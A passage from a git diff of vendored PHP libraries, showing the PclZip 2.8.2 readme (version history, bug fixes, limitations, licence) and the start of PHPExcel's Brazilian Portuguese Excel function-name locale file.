encryption/decryption of - zip archive put trailing 0 bytes after decryption. PclZip is now supporting this. - - Version 2.1 : - - Add the ability to abort the extraction by using a user callback function. - The user can now return the value '2' in its callback which indicates to stop the - extraction. For a pre call-back extract is stopped before the extration of the current - file. For a post call back, the extraction is stopped after. - - Add the ability to extract a file (or several files) directly in the standard output. - This is done by the new parameter PCLZIP_OPT_EXTRACT_IN_OUTPUT with method extract(). - - Add support for parameters PCLZIP_OPT_COMMENT, PCLZIP_OPT_ADD_COMMENT, - PCLZIP_OPT_PREPEND_COMMENT. This will create, replace, add, or prepend comments - in the zip archive. - - When merging two archives, the comments are not any more lost, but merged, with a - blank space separator. - - Corrected bug : Files are not deleted when all files are asked to be deleted. - - Corrected bug : Folders with name '0' made PclZip to abort the create or add feature. - - - Version 2.0 : - ***** Warning : Some new features may break the backward compatibility for your scripts. - Please carefully read the readme file. - - Add the ability to delete by Index, name and regular expression. This feature is - performed by the method delete(), which uses the optional parameters - PCLZIP_OPT_BY_INDEX, PCLZIP_OPT_BY_NAME, PCLZIP_OPT_BY_EREG or PCLZIP_OPT_BY_PREG. - - Add the ability to extract by regular expression. To extract by regexp you must use the method - extract(), with the option PCLZIP_OPT_BY_EREG or PCLZIP_OPT_BY_PREG - (depending if you want to use ereg() or preg_match() syntax) followed by the - regular expression pattern. - - Add the ability to extract by index, directly with the extract() method. This is a - code improvment of the extractByIndex() method. - - Add the ability to extract by name. To extract by name you must use the method - extract(), with the option PCLZIP_OPT_BY_NAME followed by the filename to - extract or an array of filenames to extract. To extract all a folder, use the folder - name rather than the filename with a '/' at the end. - - Add the ability to add files without compression. This is done with a new attribute - which is PCLZIP_OPT_NO_COMPRESSION. - - Add the attribute PCLZIP_OPT_EXTRACT_AS_STRING, which allow to extract a file directly - in a string without using any file (or temporary file). - - Add constant PCLZIP_SEPARATOR for static configuration of filename separators in a single string. - The default separator is now a comma (,) and not any more a blank space. - THIS BREAK THE BACKWARD COMPATIBILITY : Please check if this may have an impact with - your script. - - Improve algorythm performance by removing the use of temporary files when adding or - extracting files in an archive. - - Add (correct) detection of empty filename zipping. This can occurs when the removed - path is the same - as a zipped dir. The dir is not zipped (['status'] = filtered), only its content. - - Add better support for windows paths (thanks for help from manus@manusfreedom.com). - - Corrected bug : When the archive file already exists with size=0, the add() method - fails. Corrected in 2.0. - - Remove the use of OS_WINDOWS constant. Use php_uname() function rather. - - Control the order of index ranges in extract by index feature. - - Change the internal management of folders (better handling of internal flag). - - - Version 1.3 : - - Removing the double include check. This is now done by include_once() and require_once() - PHP directives. - - Changing the error handling mecanism : Remove the use of an external error library. - The former PclError...() functions are replaced by internal equivalent methods. - By changing the environment variable PCLZIP_ERROR_EXTERNAL you can still use the former library. - Introducing the use of constants for error codes rather than integer values. This will help - in futur improvment. - Introduction of error handling functions like errorCode(), errorName() and errorInfo(). - - Remove the deprecated use of calling function with arguments passed by reference. - - Add the calling of extract(), extractByIndex(), create() and add() functions - with variable options rather than fixed arguments. - - Add the ability to remove all the file path while extracting or adding, - without any need to specify the path to remove. - This is available for extract(), extractByIndex(), create() and add() functionS by using - the new variable options parameters : - - PCLZIP_OPT_REMOVE_ALL_PATH : by indicating this option while calling the fct. - - Ability to change the mode of a file after the extraction (chmod()). - This is available for extract() and extractByIndex() functionS by using - the new variable options parameters. - - PCLZIP_OPT_SET_CHMOD : by setting the value of this option. - - Ability to definition call-back options. These call-back will be called during the adding, - or the extracting of file (extract(), extractByIndex(), create() and add() functions) : - - PCLZIP_CB_PRE_EXTRACT : will be called before each extraction of a file. The user - can trigerred the change the filename of the extracted file. The user can triggered the - skip of the extraction. This is adding a 'skipped' status in the file list result value. - - PCLZIP_CB_POST_EXTRACT : will be called after each extraction of a file. - Nothing can be triggered from that point. - - PCLZIP_CB_PRE_ADD : will be called before each add of a file. The user - can trigerred the change the stored filename of the added file. The user can triggered the - skip of the add. This is adding a 'skipped' status in the file list result value. - - PCLZIP_CB_POST_ADD : will be called after each add of a file. - Nothing can be triggered from that point. - - Two status are added in the file list returned as function result : skipped & filename_too_long - 'skipped' is used when a call-back function ask for skipping the file. - 'filename_too_long' is used while adding a file with a too long filename to archive (the file is - not added) - - Adding the function PclZipUtilPathInclusion(), that check the inclusion of a path into - a directory. - - Add a check of the presence of the archive file before some actions (like list, ...) - - Add the initialisation of field "index" in header array. This means that by - default index will be -1 when not explicitly set by the methods. - - Version 1.2 : - - Adding a duplicate function. - - Adding a merge function. The merge function is a "quick merge" function, - it just append the content of an archive at the end of the first one. There - is no check for duplicate files or more recent files. - - Improve the search of the central directory end. - - Version 1.1.2 : - - - Changing the license of PclZip. PclZip is now released under the GNU / LGPL license - (see License section). - - Adding the optional support of a static temporary directory. You will need to configure - the constant PCLZIP_TEMPORARY_DIR if you want to use this feature. - - Improving the rename() function. In some cases rename() does not work (different - Filesystems), so it will be replaced by a copy() + unlink() functions. - - Version 1.1.1 : - - - Maintenance release, no new feature. - - Version 1.1 : - - - New method Add() : adding files in the archive - - New method ExtractByIndex() : partial extract of the archive, files are identified by - their index in the archive - - New method DeleteByIndex() : delete some files/folder entries from the archive, - files are identified by their index in the archive. - - Adding a test of the zlib extension presence. If not present abort the script. - - Version 1.0.1 : - - - No new feature - - -3 - Corrected bugs -================== - - Corrected in Version 2.0 : - - Corrected : During an extraction, if a call-back fucntion is used and try to skip - a file, all the extraction process is stopped. - - Corrected in Version 1.3 : - - Corrected : Support of static synopsis for method extract() is broken. - - Corrected : invalid size of archive content field (0xFF) should be (0xFFFF). - - Corrected : When an extract is done with a remove_path parameter, the entry for - the directory with exactly the same path is not skipped/filtered. - - Corrected : extractByIndex() and deleteByIndex() were not managing index in the - right way. For example indexes '1,3-5,11' will only extract files 1 and 11. This - is due to a sort of the index resulting table that puts 11 before 3-5 (sort on - string and not interger). The sort is temporarilly removed, this means that - you must provide a sorted list of index ranges. - - Corrected in Version 1.2 : - - - Nothing. - - Corrected in Version 1.1.2 : - - - Corrected : Winzip is unable to delete or add new files in a PclZip created archives. - - Corrected in Version 1.1.1 : - - - Corrected : When archived file is not compressed (0% compression), the - extract method fails. - - Corrected in Version 1.1 : - - - Corrected : Adding a complete tree of folder may result in a bad archive - creation. - - Corrected in Version 1.0.1 : - - - Corrected : Error while compressing files greater than PCLZIP_READ_BLOCK_SIZE (default=1024). - - -4 - Known bugs or limitations -============================= - - Please publish bugs reports in SourceForge : - http://sourceforge.net/tracker/?group_id=40254&atid=427564 - - In Version 2.x : - - PclZip does only support file uncompressed or compressed with deflate (compression method 8) - - PclZip does not support password protected zip archive - - Some concern were seen when changing mtime of a file while archiving. - Seems to be linked to Daylight Saving Time (PclTest_changing_mtime). - - In Version 1.2 : - - - merge() methods does not check for duplicate files or last date of modifications. - - In Version 1.1 : - - - Limitation : Using 'extract' fields in the file header in the zip archive is not supported. - - WinZip is unable to delete a single file in a PclZip created archive. It is also unable to - add a file in a PclZip created archive. (Corrected in v.1.2) - - In Version 1.0.1 : - - - Adding a complete tree of folder may result in a bad archive - creation. (Corrected in V.1.1). - - Path given to methods must be in the unix format (/) and not the Windows format (\). - Workaround : Use only / directory separators. - - PclZip is using temporary files that are sometime the name of the file with a .tmp or .gz - added suffix. Files with these names may already exist and may be overwritten. - Workaround : none. - - PclZip does not check if the zlib extension is present. If it is absent, the zip - file is not created and the lib abort without warning. - Workaround : enable the zlib extension on the php install - - In Version 1.0 : - - - Error while compressing files greater than PCLZIP_READ_BLOCK_SIZE (default=1024). - (Corrected in v.1.0.1) - - Limitation : Multi-disk zip archive are not supported. - - -5 - License -=========== - - Since version 1.1.2, PclZip Library is released under GNU/LGPL license. - This library is free, so you can use it at no cost. - - HOWEVER, if you release a script, an application, a library or any kind of - code using PclZip library (or a part of it), YOU MUST : - - Indicate in the documentation (or a readme file), that your work - uses PclZip Library, and make a reference to the author and the web site - http://www.phpconcept.net - - Gives the ability to the final user to update the PclZip libary. - - I will also appreciate that you send me a mail (vincent@phpconcept.net), just to - be aware that someone is using PclZip. - - For more information about GNU/LGPL license : http://www.gnu.org - -6 - Warning -================= - - This library and the associated files are non commercial, non professional work. - It should not have unexpected results. However if any damage is caused by this software - the author can not be responsible. - The use of this software is at the risk of the user. - -7 - Documentation -================= - PclZip User Manuel is available in English on PhpConcept : http://www.phpconcept.net/pclzip/man/en/index.php - A Russian translation was done by Feskov Kuzma : http://php.russofile.ru/ru/authors/unsort/zip/ - -8 - Author -========== - - This software was written by Vincent Blavet (vincent@phpconcept.net) on its leasure time. - -9 - Contribute -============== - If you want to contribute to the development of PclZip, please contact vincent@phpconcept.net. - If you can help in financing PhpConcept hosting service, please go to - http://www.phpconcept.net/soutien.php +// -------------------------------------------------------------------------------- +// PclZip 2.8.2 - readme.txt +// -------------------------------------------------------------------------------- +// License GNU/LGPL - August 2009 +// Vincent Blavet - vincent@phpconcept.net +// http://www.phpconcept.net +// -------------------------------------------------------------------------------- +// $Id: readme.txt,v 1.60 2009/09/30 20:35:21 vblavet Exp $ +// -------------------------------------------------------------------------------- + + + +0 - Sommaire +============ + 1 - Introduction + 2 - What's new + 3 - Corrected bugs + 4 - Known bugs or limitations + 5 - License + 6 - Warning + 7 - Documentation + 8 - Author + 9 - Contribute + +1 - Introduction +================ + + PclZip is a library that allow you to manage a Zip archive. + + Full documentation about PclZip can be found here : http://www.phpconcept.net/pclzip + +2 - What's new +============== + + Version 2.8.2 : + - PCLZIP_CB_PRE_EXTRACT and PCLZIP_CB_POST_EXTRACT are now supported with + extraction as a string (PCLZIP_OPT_EXTRACT_AS_STRING). The string + can also be modified in the post-extract call back. + **Bugs correction : + - PCLZIP_OPT_REMOVE_ALL_PATH was not working correctly + - Remove use of eval() and do direct call to callback functions + - Correct support of 64bits systems (Thanks to WordPress team) + + Version 2.8.1 : + - Move option PCLZIP_OPT_BY_EREG to PCLZIP_OPT_BY_PREG because ereg() is + deprecated in PHP 5.3. When using option PCLZIP_OPT_BY_EREG, PclZip will + automatically replace it by PCLZIP_OPT_BY_PREG. + + Version 2.8 : + - Improve extraction of zip archive for large files by using temporary files + This feature is working like the one defined in r2.7. + Options are renamed : PCLZIP_OPT_TEMP_FILE_ON, PCLZIP_OPT_TEMP_FILE_OFF, + PCLZIP_OPT_TEMP_FILE_THRESHOLD + - Add a ratio constant PCLZIP_TEMPORARY_FILE_RATIO to configure the auto + sense of temporary file use. + - Bug correction : Reduce filepath in returned file list to remove ennoying + './/' preambule in file path. + + Version 2.7 : + - Improve creation of zip archive for large files : + PclZip will now autosense the configured memory and use temporary files + when large file is suspected. + This feature can also ne triggered by manual options in create() and add() + methods. 'PCLZIP_OPT_ADD_TEMP_FILE_ON' force the use of temporary files, + 'PCLZIP_OPT_ADD_TEMP_FILE_OFF' disable the autosense technic, + 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD' allow for configuration of a size + threshold to use temporary files. + Using "temporary files" rather than "memory" might take more time, but + might give the ability to zip very large files : + Tested on my win laptop with a 88Mo file : + Zip "in-memory" : 18sec (max_execution_time=30, memory_limit=180Mo) + Zip "tmporary-files" : 23sec (max_execution_time=30, memory_limit=30Mo) + - Replace use of mktime() by time() to limit the E_STRICT error messages. + - Bug correction : When adding files with full windows path (drive letter) + PclZip is now working. Before, if the drive letter is not the default + path, PclZip was not able to add the file. + + Version 2.6 : + - Code optimisation + - New attributes PCLZIP_ATT_FILE_COMMENT gives the ability to + add a comment for a specific file. (Don't really know if this is usefull) + - New attribute PCLZIP_ATT_FILE_CONTENT gives the ability to add a string + as a file. + - New attribute PCLZIP_ATT_FILE_MTIME modify the timestamp associated with + a file. + - Correct a bug. Files archived with a timestamp with 0h0m0s were extracted + with current time + - Add CRC value in the informations returned back for each file after an + action. + - Add missing closedir() statement. + - When adding a folder, and removing the path of this folder, files were + incorrectly added with a '/' at the beginning. Which means files are + related to root in unix systems. Corrected. + - Add conditional if before constant definition. This will allow users + to redefine constants without changing the file, and then improve + upgrade of pclzip code for new versions. + + Version 2.5 : + - Introduce the ability to add file/folder with individual properties (file descriptor). + This gives for example the ability to change the filename of a zipped file. + . Able to add files individually + . Able to change full name + . Able to change short name + . Compatible with global options + - New attributes : PCLZIP_ATT_FILE_NAME, PCLZIP_ATT_FILE_NEW_SHORT_NAME, PCLZIP_ATT_FILE_NEW_FULL_NAME + - New error code : PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE + - Add a security control feature. PclZip can extract any file in any folder + of a system. People may use this to upload a zip file and try to override + a system file. The PCLZIP_OPT_EXTRACT_DIR_RESTRICTION will give the + ability to forgive any directory transversal behavior. + - New PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : check extraction path + - New error code : PCLZIP_ERR_DIRECTORY_RESTRICTION + - Modification in PclZipUtilPathInclusion() : dir and path beginning with ./ will be prepend + by current path (getcwd()) + + Version 2.4 : + - Code improvment : try to speed up the code by removing unusefull call to pack() + - Correct bug in delete() : delete() should be called with no argument. This was not + the case in 2.3. This is corrected in 2.4. + - Correct a bug in path_inclusion function. When the path has several '../../', the + result was bad. + - Add a check for magic_quotes_runtime configuration. If enabled, PclZip will + disable it while working and det it back to its original value. + This resolve a lots of bad formated archive errors. + - Bug correction : PclZip now correctly unzip file in some specific situation, + when compressed content has same size as uncompressed content. + - Bug correction : When selecting option 'PCLZIP_OPT_REMOVE_ALL_PATH', + directories are not any more created. + - Code improvment : correct unclosed opendir(), better handling of . and .. in + loops. + + + Version 2.3 : + - Correct a bug with PHP5 : affecting the value 0xFE49FFE0 to a variable does not + give the same result in PHP4 and PHP5 .... + + Version 2.2 : + - Try development of PCLZIP_OPT_CRYPT ..... + However this becomes to a stop. To crypt/decrypt I need to multiply 2 long integers, + the result (greater than a long) is not supported by PHP. Even the use of bcmath + functions does not help. I did not find yet a solution ...; + - Add missing '/' at end of directory entries + - Check is a file is encrypted or not. Returns status 'unsupported_encryption' and/or + error code PCLZIP_ERR_UNSUPPORTED_ENCRYPTION. + - Corrected : Bad "version need to extract" field in local file header + - Add private method privCheckFileHeaders() in order to check local and central + file headers. PclZip is now supporting purpose bit flag bit 3. Purpose bit flag bit 3 gives + the ability to have a local file header without size, compressed size and crc filled. + - Add a generic status 'error' for file status + - Add control of compression type. PclZip only support deflate compression method. + Before v2.2, PclZip does not check the compression method used in an archive while + extracting. With v2.2 PclZip returns a new error status for a file using an unsupported + compression method. New status is "unsupported_compression". New error code is + PCLZIP_ERR_UNSUPPORTED_COMPRESSION. + - Add optional attribute PCLZIP_OPT_STOP_ON_ERROR. This will stop the extract of files + when errors like 'a folder with same name exists' or 'a newer file exists' or + 'a write protected file' exists, rather than set a status for the concerning file + and resume the extract of the zip. + - Add optional attribute PCLZIP_OPT_REPLACE_NEWER. This will force, during an extract' the + replacement of the file, even if a newer version of the file exists. + Note that today if a file with the same name already exists but is older it will be + replaced by the extracted one. + - Improve PclZipUtilOption() + - Support of zip archive with trailing bytes. Before 2.2, PclZip checks that the central + directory structure is the last data in the archive. Crypt encryption/decryption of + zip archive put trailing 0 bytes after decryption. PclZip is now supporting this. + + Version 2.1 : + - Add the ability to abort the extraction by using a user callback function. + The user can now return the value '2' in its callback which indicates to stop the + extraction. For a pre call-back extract is stopped before the extration of the current + file. For a post call back, the extraction is stopped after. + - Add the ability to extract a file (or several files) directly in the standard output. + This is done by the new parameter PCLZIP_OPT_EXTRACT_IN_OUTPUT with method extract(). + - Add support for parameters PCLZIP_OPT_COMMENT, PCLZIP_OPT_ADD_COMMENT, + PCLZIP_OPT_PREPEND_COMMENT. This will create, replace, add, or prepend comments + in the zip archive. + - When merging two archives, the comments are not any more lost, but merged, with a + blank space separator. + - Corrected bug : Files are not deleted when all files are asked to be deleted. + - Corrected bug : Folders with name '0' made PclZip to abort the create or add feature. + + + Version 2.0 : + ***** Warning : Some new features may break the backward compatibility for your scripts. + Please carefully read the readme file. + - Add the ability to delete by Index, name and regular expression. This feature is + performed by the method delete(), which uses the optional parameters + PCLZIP_OPT_BY_INDEX, PCLZIP_OPT_BY_NAME, PCLZIP_OPT_BY_EREG or PCLZIP_OPT_BY_PREG. + - Add the ability to extract by regular expression. To extract by regexp you must use the method + extract(), with the option PCLZIP_OPT_BY_EREG or PCLZIP_OPT_BY_PREG + (depending if you want to use ereg() or preg_match() syntax) followed by the + regular expression pattern. + - Add the ability to extract by index, directly with the extract() method. This is a + code improvment of the extractByIndex() method. + - Add the ability to extract by name. To extract by name you must use the method + extract(), with the option PCLZIP_OPT_BY_NAME followed by the filename to + extract or an array of filenames to extract. To extract all a folder, use the folder + name rather than the filename with a '/' at the end. + - Add the ability to add files without compression. This is done with a new attribute + which is PCLZIP_OPT_NO_COMPRESSION. + - Add the attribute PCLZIP_OPT_EXTRACT_AS_STRING, which allow to extract a file directly + in a string without using any file (or temporary file). + - Add constant PCLZIP_SEPARATOR for static configuration of filename separators in a single string. + The default separator is now a comma (,) and not any more a blank space. + THIS BREAK THE BACKWARD COMPATIBILITY : Please check if this may have an impact with + your script. + - Improve algorythm performance by removing the use of temporary files when adding or + extracting files in an archive. + - Add (correct) detection of empty filename zipping. This can occurs when the removed + path is the same + as a zipped dir. The dir is not zipped (['status'] = filtered), only its content. + - Add better support for windows paths (thanks for help from manus@manusfreedom.com). + - Corrected bug : When the archive file already exists with size=0, the add() method + fails. Corrected in 2.0. + - Remove the use of OS_WINDOWS constant. Use php_uname() function rather. + - Control the order of index ranges in extract by index feature. + - Change the internal management of folders (better handling of internal flag). + + + Version 1.3 : + - Removing the double include check. This is now done by include_once() and require_once() + PHP directives. + - Changing the error handling mecanism : Remove the use of an external error library. + The former PclError...() functions are replaced by internal equivalent methods. + By changing the environment variable PCLZIP_ERROR_EXTERNAL you can still use the former library. + Introducing the use of constants for error codes rather than integer values. This will help + in futur improvment. + Introduction of error handling functions like errorCode(), errorName() and errorInfo(). + - Remove the deprecated use of calling function with arguments passed by reference. + - Add the calling of extract(), extractByIndex(), create() and add() functions + with variable options rather than fixed arguments. + - Add the ability to remove all the file path while extracting or adding, + without any need to specify the path to remove. + This is available for extract(), extractByIndex(), create() and add() functionS by using + the new variable options parameters : + - PCLZIP_OPT_REMOVE_ALL_PATH : by indicating this option while calling the fct. + - Ability to change the mode of a file after the extraction (chmod()). + This is available for extract() and extractByIndex() functionS by using + the new variable options parameters. + - PCLZIP_OPT_SET_CHMOD : by setting the value of this option. + - Ability to definition call-back options. These call-back will be called during the adding, + or the extracting of file (extract(), extractByIndex(), create() and add() functions) : + - PCLZIP_CB_PRE_EXTRACT : will be called before each extraction of a file. The user + can trigerred the change the filename of the extracted file. The user can triggered the + skip of the extraction. This is adding a 'skipped' status in the file list result value. + - PCLZIP_CB_POST_EXTRACT : will be called after each extraction of a file. + Nothing can be triggered from that point. + - PCLZIP_CB_PRE_ADD : will be called before each add of a file. The user + can trigerred the change the stored filename of the added file. The user can triggered the + skip of the add. This is adding a 'skipped' status in the file list result value. + - PCLZIP_CB_POST_ADD : will be called after each add of a file. + Nothing can be triggered from that point. + - Two status are added in the file list returned as function result : skipped & filename_too_long + 'skipped' is used when a call-back function ask for skipping the file. + 'filename_too_long' is used while adding a file with a too long filename to archive (the file is + not added) + - Adding the function PclZipUtilPathInclusion(), that check the inclusion of a path into + a directory. + - Add a check of the presence of the archive file before some actions (like list, ...) + - Add the initialisation of field "index" in header array. This means that by + default index will be -1 when not explicitly set by the methods. + + Version 1.2 : + - Adding a duplicate function. + - Adding a merge function. The merge function is a "quick merge" function, + it just append the content of an archive at the end of the first one. There + is no check for duplicate files or more recent files. + - Improve the search of the central directory end. + + Version 1.1.2 : + + - Changing the license of PclZip. PclZip is now released under the GNU / LGPL license + (see License section). + - Adding the optional support of a static temporary directory. You will need to configure + the constant PCLZIP_TEMPORARY_DIR if you want to use this feature. + - Improving the rename() function. In some cases rename() does not work (different + Filesystems), so it will be replaced by a copy() + unlink() functions. + + Version 1.1.1 : + + - Maintenance release, no new feature. + + Version 1.1 : + + - New method Add() : adding files in the archive + - New method ExtractByIndex() : partial extract of the archive, files are identified by + their index in the archive + - New method DeleteByIndex() : delete some files/folder entries from the archive, + files are identified by their index in the archive. + - Adding a test of the zlib extension presence. If not present abort the script. + + Version 1.0.1 : + + - No new feature + + +3 - Corrected bugs +================== + + Corrected in Version 2.0 : + - Corrected : During an extraction, if a call-back fucntion is used and try to skip + a file, all the extraction process is stopped. + + Corrected in Version 1.3 : + - Corrected : Support of static synopsis for method extract() is broken. + - Corrected : invalid size of archive content field (0xFF) should be (0xFFFF). + - Corrected : When an extract is done with a remove_path parameter, the entry for + the directory with exactly the same path is not skipped/filtered. + - Corrected : extractByIndex() and deleteByIndex() were not managing index in the + right way. For example indexes '1,3-5,11' will only extract files 1 and 11. This + is due to a sort of the index resulting table that puts 11 before 3-5 (sort on + string and not interger). The sort is temporarilly removed, this means that + you must provide a sorted list of index ranges. + + Corrected in Version 1.2 : + + - Nothing. + + Corrected in Version 1.1.2 : + + - Corrected : Winzip is unable to delete or add new files in a PclZip created archives. + + Corrected in Version 1.1.1 : + + - Corrected : When archived file is not compressed (0% compression), the + extract method fails. + + Corrected in Version 1.1 : + + - Corrected : Adding a complete tree of folder may result in a bad archive + creation. + + Corrected in Version 1.0.1 : + + - Corrected : Error while compressing files greater than PCLZIP_READ_BLOCK_SIZE (default=1024). + + +4 - Known bugs or limitations +============================= + + Please publish bugs reports in SourceForge : + http://sourceforge.net/tracker/?group_id=40254&atid=427564 + + In Version 2.x : + - PclZip does only support file uncompressed or compressed with deflate (compression method 8) + - PclZip does not support password protected zip archive + - Some concern were seen when changing mtime of a file while archiving. + Seems to be linked to Daylight Saving Time (PclTest_changing_mtime). + + In Version 1.2 : + + - merge() methods does not check for duplicate files or last date of modifications. + + In Version 1.1 : + + - Limitation : Using 'extract' fields in the file header in the zip archive is not supported. + - WinZip is unable to delete a single file in a PclZip created archive. It is also unable to + add a file in a PclZip created archive. (Corrected in v.1.2) + + In Version 1.0.1 : + + - Adding a complete tree of folder may result in a bad archive + creation. (Corrected in V.1.1). + - Path given to methods must be in the unix format (/) and not the Windows format (\). + Workaround : Use only / directory separators. + - PclZip is using temporary files that are sometime the name of the file with a .tmp or .gz + added suffix. Files with these names may already exist and may be overwritten. + Workaround : none. + - PclZip does not check if the zlib extension is present. If it is absent, the zip + file is not created and the lib abort without warning. + Workaround : enable the zlib extension on the php install + + In Version 1.0 : + + - Error while compressing files greater than PCLZIP_READ_BLOCK_SIZE (default=1024). + (Corrected in v.1.0.1) + - Limitation : Multi-disk zip archive are not supported. + + +5 - License +=========== + + Since version 1.1.2, PclZip Library is released under GNU/LGPL license. + This library is free, so you can use it at no cost. + + HOWEVER, if you release a script, an application, a library or any kind of + code using PclZip library (or a part of it), YOU MUST : + - Indicate in the documentation (or a readme file), that your work + uses PclZip Library, and make a reference to the author and the web site + http://www.phpconcept.net + - Gives the ability to the final user to update the PclZip libary. + + I will also appreciate that you send me a mail (vincent@phpconcept.net), just to + be aware that someone is using PclZip. + + For more information about GNU/LGPL license : http://www.gnu.org + +6 - Warning +================= + + This library and the associated files are non commercial, non professional work. + It should not have unexpected results. However if any damage is caused by this software + the author can not be responsible. + The use of this software is at the risk of the user. + +7 - Documentation +================= + PclZip User Manuel is available in English on PhpConcept : http://www.phpconcept.net/pclzip/man/en/index.php + A Russian translation was done by Feskov Kuzma : http://php.russofile.ru/ru/authors/unsort/zip/ + +8 - Author +========== + + This software was written by Vincent Blavet (vincent@phpconcept.net) on its leasure time. + +9 - Contribute +============== + If you want to contribute to the development of PclZip, please contact vincent@phpconcept.net. + If you can help in financing PhpConcept hosting service, please go to + http://www.phpconcept.net/soutien.php diff --git a/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/br/functions b/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/br/functions index a062a7fa..f3ba3a35 100644 --- a/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/br/functions +++ b/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/br/functions @@ -1,408 +1,408 @@ -## -## Add-in and Automation functions Funções Suplemento e Automação -## -GETPIVOTDATA = INFODADOSTABELADINÂMICA ## Retorna os dados armazenados em um relatório de tabela dinâmica - - -## -## Cube functions Funções de Cubo -## -CUBEKPIMEMBER = MEMBROKPICUBO ## Retorna o nome de um KPI (indicador de desempenho-chave), uma propriedade e uma medida e exibe o nome e a propriedade na célula. Um KPI é uma medida quantificável, como o lucro bruto mensal ou a rotatividade trimestral dos funcionários, usada para monitorar o desempenho de uma organização. -CUBEMEMBER = MEMBROCUBO ## Retorna um membro ou tupla em uma hierarquia de cubo. Use para validar se o membro ou tupla existe no cubo. -CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO ## Retorna o valor da propriedade de um membro no cubo. Usada para validar a existência do nome do membro no cubo e para retornar a propriedade especificada para esse membro. -CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO ## Retorna o enésimo membro, ou o membro ordenado, em um conjunto. Use para retornar um ou mais elementos em um conjunto, assim como o melhor vendedor ou os dez melhores alunos. -CUBESET = CONJUNTOCUBO ## Define um conjunto calculado de membros ou tuplas enviando uma expressão do conjunto para o cubo no servidor, que cria o conjunto e o retorna para o Microsoft Office Excel. -CUBESETCOUNT = CONTAGEMCONJUNTOCUBO ## Retorna o número de itens em um conjunto. -CUBEVALUE = VALORCUBO ## Retorna um valor agregado de um cubo. - - -## -## Database functions Funções de banco de dados -## -DAVERAGE = BDMÉDIA ## Retorna a média das entradas selecionadas de um banco de dados -DCOUNT = BDCONTAR ## Conta as células que contêm números em um banco de dados -DCOUNTA = BDCONTARA ## Conta células não vazias em um banco de dados -DGET = BDEXTRAIR ## Extrai de um banco de dados um único registro que corresponde a um critério específico -DMAX = BDMÁX ## Retorna o valor máximo de entradas selecionadas de um banco de dados -DMIN = BDMÍN ## Retorna o valor mínimo de entradas selecionadas de um banco de dados -DPRODUCT = BDMULTIPL ## Multiplica os valores em um campo específico de registros que correspondem ao critério em um banco de dados -DSTDEV = BDEST ## Estima o desvio padrão com base em uma amostra de entradas selecionadas de um banco de dados -DSTDEVP = BDDESVPA ## Calcula o desvio padrão com base na população inteira de entradas selecionadas de um banco de dados -DSUM = BDSOMA ## Adiciona os números à coluna de campos de registros do banco de dados que correspondem ao critério -DVAR = BDVAREST ## Estima a variância com base em uma amostra de entradas selecionadas de um banco de dados -DVARP = BDVARP ## Calcula a variância com base na população inteira de entradas selecionadas de um banco de dados - - -## -## Date and time functions Funções de data e hora -## -DATE = DATA ## Retorna o número de série de uma data específica -DATEVALUE = DATA.VALOR ## Converte uma data na forma de texto para um número de série -DAY = DIA ## Converte um número de série em um dia do mês -DAYS360 = DIAS360 ## Calcula o número de dias entre duas datas com base em um ano de 360 dias -EDATE = DATAM ## Retorna o número de série da data que é o número indicado de meses antes ou depois da data inicial -EOMONTH = FIMMÊS ## Retorna o número de série do último dia do mês antes ou depois de um número especificado de meses -HOUR = HORA ## Converte um número de série em uma hora -MINUTE = MINUTO ## Converte um número de série em um minuto -MONTH = MÊS ## Converte um número de série em um mês -NETWORKDAYS = DIATRABALHOTOTAL ## Retorna o número de dias úteis inteiros entre duas datas -NOW = AGORA ## Retorna o número de série seqüencial da data e hora atuais -SECOND = SEGUNDO ## Converte um número de série em um segundo -TIME = HORA ## Retorna o número de série de uma hora específica -TIMEVALUE = VALOR.TEMPO ## Converte um horário na forma de texto para um número de série -TODAY = HOJE ## Retorna o número de série da data de hoje -WEEKDAY = DIA.DA.SEMANA ## Converte um número de série em um dia da semana -WEEKNUM = NÚMSEMANA ## Converte um número de série em um número que representa onde a semana cai numericamente em um ano -WORKDAY = DIATRABALHO ## Retorna o número de série da data antes ou depois de um número específico de dias úteis -YEAR = ANO ## Converte um número de série em um ano -YEARFRAC = FRAÇÃOANO ## Retorna a fração do ano que representa o número de dias entre data_inicial e data_final - - -## -## Engineering functions Funções de engenharia -## -BESSELI = BESSELI ## Retorna a função de Bessel In(x) modificada -BESSELJ = BESSELJ ## Retorna a função de Bessel Jn(x) -BESSELK = BESSELK ## Retorna a função de Bessel Kn(x) modificada -BESSELY = BESSELY ## Retorna a função de Bessel Yn(x) -BIN2DEC = BIN2DEC ## Converte um número binário em decimal -BIN2HEX = BIN2HEX ## Converte um número binário em hexadecimal -BIN2OCT = BIN2OCT ## Converte um número binário em octal -COMPLEX = COMPLEX ## Converte coeficientes reais e imaginários e um número complexo -CONVERT = CONVERTER ## Converte um número de um sistema de medida para outro -DEC2BIN = DECABIN ## Converte um número decimal em binário -DEC2HEX = DECAHEX ## Converte um número decimal em hexadecimal -DEC2OCT = DECAOCT ## Converte um número decimal em octal -DELTA = DELTA ## Testa se dois valores são iguais -ERF = FUNERRO ## Retorna a função de erro -ERFC = FUNERROCOMPL ## Retorna a função de erro complementar -GESTEP = DEGRAU ## Testa se um número é maior do que um valor limite -HEX2BIN = HEXABIN ## Converte um número hexadecimal em binário -HEX2DEC = HEXADEC ## Converte um número hexadecimal em decimal -HEX2OCT = HEXAOCT ## Converte um número hexadecimal em octal -IMABS = IMABS ## Retorna o valor absoluto (módulo) de um número complexo -IMAGINARY = IMAGINÁRIO ## Retorna o coeficiente imaginário de um número complexo -IMARGUMENT = IMARG ## Retorna o argumento teta, um ângulo expresso em radianos -IMCONJUGATE = IMCONJ ## Retorna o conjugado complexo de um número complexo -IMCOS = IMCOS ## Retorna o cosseno de um número complexo -IMDIV = IMDIV ## Retorna o quociente de dois números complexos -IMEXP = IMEXP ## Retorna o exponencial de um número complexo -IMLN = IMLN ## Retorna o logaritmo natural de um número complexo -IMLOG10 = IMLOG10 ## Retorna o logaritmo de base 10 de um número complexo -IMLOG2 = IMLOG2 ## Retorna o logaritmo de base 2 de um número complexo -IMPOWER = IMPOT ## 